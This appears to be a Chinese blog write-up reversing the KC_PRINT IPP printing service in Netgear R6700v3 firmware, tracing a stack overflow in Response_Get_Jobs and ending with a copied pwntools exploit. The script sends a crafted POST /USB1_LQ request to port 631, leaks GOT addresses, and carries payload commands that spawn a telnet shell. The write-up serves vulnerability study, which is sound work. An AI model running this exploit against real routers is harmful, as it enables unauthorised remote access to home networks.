0x00 前言

看见swing师傅博客看见的,直接开学

https://bestwing.me/nccgroup-in-pwn2own-pwned-netgear-r6700-route-vulnerability-analysis.html

sectoday 2022.09.01推送的:

• NCC Con Europe 2022 – Pwn2Own Austin Presentations:
https://research.nccgroup.com/2022/08/30/ncc-con-europe-2022-pwn2own-austin-presentations/

固件下载:

https://kb.netgear.com/000062417/R6700v3-Firmware-Version-1-0-4-102

0x01 分析函数流程

ppt上写的是KC_PRINT服务,分析后会发现这里是个IPP (Internet Printing Protocol) 服务:是一个在互联网上打印的标准网络协议,它允许用户通过互联网做远距离打印。

先查看pthread_create函数,会发现KC_PRINT以不同的线程处理不同的功能,对于这些功能,我们可以一个一个逆向去看

虽然KC_PRINT二进制文件没有提供符号信息,却提供了很多日志/错误函数,其中包含一些函数名。

套娃

先是在start_ipp函数的里启动ipp_threads函数,后续进行了判断版本号的操作

ipp_threads函数启动一个线程打开ipp_server函数

ipp_server监听631端口,然后再启动do_ipp_http_thread函数

该函数会接着调用do_http

image-20230406154344752

do_http

do_http这个函数用来处理对应的 IPP 协议的 HTTP 请求。

首先先查看是否能收取到客户端发来的100-continue,然后该函数会向客户端发送一个”HTTP/1.1 100 Continue”响应,表明服务器已准备好接收完整请求。

  • 搜索字符串POST /USB
  • 使用strstr()函数在 URL 中搜索字符串”_LQ”,从请求 URL 中提取打印机 ID
  • 使用atoi()函数将打印机 ID 转换为整数
  • 如果打印机 ID 大于 10,则函数返回 -1
  • 函数调用check_printer()函数来检查打印机当前是否可用

check_printer函数会去读取/proc/printer_status这个文件

do_airippWithContentLength

haystack+=16就是正好"Content-Length: "的值

取出 Content-Length: 后的值作为 content_length 传入 do_airippWithContentLength 函数中。

并且在进入函数之前,函数还接收了8个字符,进入到 do_airippWithContentLength 函数后, 会根据这个8个字节长度的消息, 来决定进一步调用哪个函数。

do_airippWithContentLength函数在读取8个校验字符后,会用to_read将整个http数据包读取到recv_buf里面。

我们知道Response_Get_Jobs()存在栈溢出漏洞,想要触发这个漏洞点,我们可以构造b'\x00\x00\x00\x0a\x00\x00\x99\x99'满足条件。

image-20230406180409388

这里其实已经可以注意到了,一路走下来,content_length的长度都是没有被检测的。

Response_Get_Jobs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
flag1 = 0;
prefix_size = 74;
prefix_ptr = malloc(0x4Au);
if ( !prefix_ptr )
{
perror("Response_Get_Jobs: malloc xx");
return -1;
}
memset(prefix_ptr, 0, prefix_size);
cnt = memcpy_n((int)prefix_ptr, total, &recv_buf[offset], 2u);
total += cnt; // total=2
if ( *recv_buf == 1 && !recv_buf[1] )
// recv_buf[0]的值为1,[1]的值为0
flag1 = 1;
offset += 2; // offset=2
// 上述是存了两个值,然后把offset cnt total都=2

*((_BYTE *)prefix_ptr + total++) = 0;
*((_BYTE *)prefix_ptr + total++) = 0;
// prefix_ptr[2]=0 [3]=0 初始化
offset += 2; // offset=4 total=4

total += memcpy_n((int)prefix_ptr, total, &recv_buf[offset], 4u);
// prefix_ptr[4] [5] [6] [7]赋值 total = 8
offset += 4; // offset=8
v12 = 66;
cnt = memcpy_n((int)prefix_ptr, total, &unk_1823C, 0x42u);
total += cnt;
// total=74 赋值之前的值[8,74]
++offset; // offset=9
memset(v9, 0, sizeof(v9));
memset(suffix_data, 0, sizeof(suffix_data));
suffix_data[suffix_offset++] = 5;
if ( !flag1 )
{
while ( recv_buf[offset] != 3 && offset <= content_length )
// 我们溢出的时候,要对offset进行覆盖,让他循环一次就可以走出while循环
{
if ( recv_buf[offset] == 68 && !flag2 )
// recv_buf[9]==68
{
flag2 = 1;
suffix_data[suffix_offset++] = 68;
// after suffix_offset=2
n = ((unsigned __int8)recv_buf[offset + 1] << 8) + (unsigned __int8)recv_buf[offset + 2];
// n的值可控,将recv_buf的值传入
cnt = memcpy_n((int)suffix_data, suffix_offset, &recv_buf[offset + 1], n + 2);
// 怀疑这里存在漏洞,但是相比下面的,这边的缓冲区长,难利用
suffix_offset += cnt;
}
++offset; // offset=10
n = ((unsigned __int8)recv_buf[offset] << 8) + (unsigned __int8)recv_buf[offset + 1];
offset += 2 + n; // offset=12
n = ((unsigned __int8)recv_buf[offset] << 8) + (unsigned __int8)recv_buf[offset + 1];
offset += 2; // offset=14
if ( flag2 )
{
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], n);
// 漏洞点

0x02 环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cat /proc/printer_status 
usblp
# ./KC_PRINT
[KC] R6400v2 IPP v1.4 Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9103) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9104) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9102) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9101) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9105) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9100) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9106) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9107) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9108) Start (Jul 18 2016 16:33:31)
[KC] R6400v2 RawTCP v1.4 (port = 9109) Start (Jul 18 2016 16:33:31)

patch后其实还是出现了问题,如果我直接用gdb远程调试KC_PRINT程序的话,会报一个错:

1
2
3
4
5
Reading /lib/ld-uClibc.so.0 from remote target...  
Reading symbols from target:/lib/ld-uClibc.so.0...
(No debugging symbols found in target:/lib/ld-uClibc.so.0)
0x76ff2930 in _start () from target:/lib/ld-uClibc.so.0
Exception occurred: Error: maximum recursion depth exceeded while calling a Python object (<class 'RecursionError'>)

好像是因为KC_PRINT没有符号表,启动KC_PRINT文件中的start函数的时候,会去调用libc.so.0中的_uClibc_main程序。
然后就出现了递归报错,如果我在gdb里直接接着向下c执行的话,可以执行到  rawTCP_start函数,打印出几句话就陷入等待了,之后再send发送数据也没什么反应。并且gdb没办法查看数据。

跟swing师傅沟通后,才发现他是用实机调试的,所以大家想实际调试的话需要买一台真实设备。

0x03 利用

前置check

1
2
3
4
5
6
7
8
9
pwndbg> checksec 
[*] '/home/parallels/tools/qemustart/rootfs/usr/bin/KC_PRINT'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

pwndbg>

程序中没有system或者popen之类的函数,所以不能直接ret2system。

继续阅读代码会发现,Response_Get_Jobs函数下面有一个write_ipp_response函数,它的目的是向客户端套接字发送HTTP响应,我们可以通过它来泄漏got表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __fastcall write_ipp_response(int client_sock, const void *response_body, size_t response_len)
{
size_t total_len; // r0
size_t total_len2; // r0
size_t total_len3; // r0
size_t total_len4; // r0
size_t total_len5; // r0
char header[32]; // [sp+10h] [bp-434h] BYREF
char total[1024]; // [sp+30h] [bp-414h] BYREF
ssize_t sent_len; // [sp+430h] [bp-14h]
void *sent_data; // [sp+434h] [bp-10h]

sent_data = 0;
memset(total, 0, sizeof(total));
memset(header, 0, sizeof(header));
strcpy(total, aHttp11200OkCon);
snprintf(header, 0x20u, "%d\r\n\r\n", response_len);
strcat(total, header);
total_len = strlen(total);
sent_data = malloc(total_len + response_len);
if ( sent_data )
{
total_len2 = strlen(total);
memset(sent_data, 0, total_len2 + response_len);
total_len3 = strlen(total);
memcpy(sent_data, total, total_len3);
total_len4 = strlen(total);
memcpy((char *)sent_data + total_len4, response_body, response_len);
total_len5 = strlen(total);
sent_len = send(client_sock, sent_data, total_len5 + response_len, 0);
free(sent_data);
sent_data = 0;
if ( sent_len == strlen(total) + response_len )
{
return 0;
}
else
{
puts("write ipp response xx");
return -1;
}
}
else
{
perror("write_ipp_response: malloc xx");
return -1;
}
}

我们可以修改prefix_ptr参数为got表,然后对其进行泄漏,但是这里要注意接下来有个free

1
2
3
4
5
6
7
8
final_ptr = malloc(++v30);
cnt = memcpy_n((int)final_ptr, response_len, prefix_ptr, prefix_size);
v10 = write_ipp_response(client_sock, final_ptr, response_len);
if ( final_ptr )
{
free(final_ptr);
final_ptr = 0;
}

直接控制 prefix_ptr == 000180F0 , 在 free 的过程中会造成崩溃。 但是把 prefix_ptr 指向got表开头就不会发生问题。

结束循环到 write_ipp_response 函数之前 ,我们还需要过两个地方

image-20230416150557317

最后的利用:这里直接copy了swing师傅的,因为我没机器调试,主要是对漏洞点进行了分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from pwn import cyclic
from pwn import p32


cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd = b'/bin/touch /tmp/hacked'
cmd += b"\x00" * (len(cmd) % 4)

def leak_uclibc():

# recv_buf[2] || recv_buf[3] == 10
recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99'
recv_buf2 = b'\x00\x44\x00\x00\x10\x5d' # 0x1050 is copy_len -> memcpy(command, &recv_buf[offset], copy_len);
recv_buf2 += b'job-id\x00\x00'

junkdata = cyclic(0x104c , n=4)
junkdata = bytearray(junkdata)
junkdata[1026: 1026+ len(cmd)] = cmd
junkdata[0x103c: 0x103c + 4] = p32(0x106a-0xe) # finish flag offset
junkdata[0x1048: 0x1048 + 4] = p32(0x20) # malloc size - > final_ptr = malloc(++final_size);
junkdata = bytes(junkdata)

recv_buf2 += junkdata
recv_buf2 += p32(20) # overwrite prrefix_size
recv_buf2 += p32(0x180E4) # overwrite prefix_ptr -> .got start address then free is alive
recv_buf2 += b'\x03'

payload = b'POST /USB1_LQ\r\n'
payload += b'Content-Length: %b\r\n' % str(len(recv_buf1 + recv_buf2)).encode('latin1')
payload += b'\r\n'

p = remote("192.168.3.2", 631)

p.send(payload)
p.send(recv_buf1)
p.send(recv_buf2)

p.recvuntil(b'\r\n\r\n')
p.recvn(8)
_dl_linux_resolve = u32(p.recvn(4))
print('_dl_linux_resolve : {:#x}'.format(_dl_linux_resolve))
ld_uClibc = _dl_linux_resolve - 0x3e70
print('ld_uClibc : {:#x}'.format(ld_uClibc))
p.recvn(4)
printf_addr = u32(p.recvn(4))
print('printf : {:#x}'.format(printf_addr))
uClibc = printf_addr - 0x360e0
print('uClibc : {:#x}'.format(uClibc))

# system = uClibc + +0x90f4 # system offset
# print('system : {:#x}'.format(system))

return ld_uClibc, uClibc
leak_uclibc()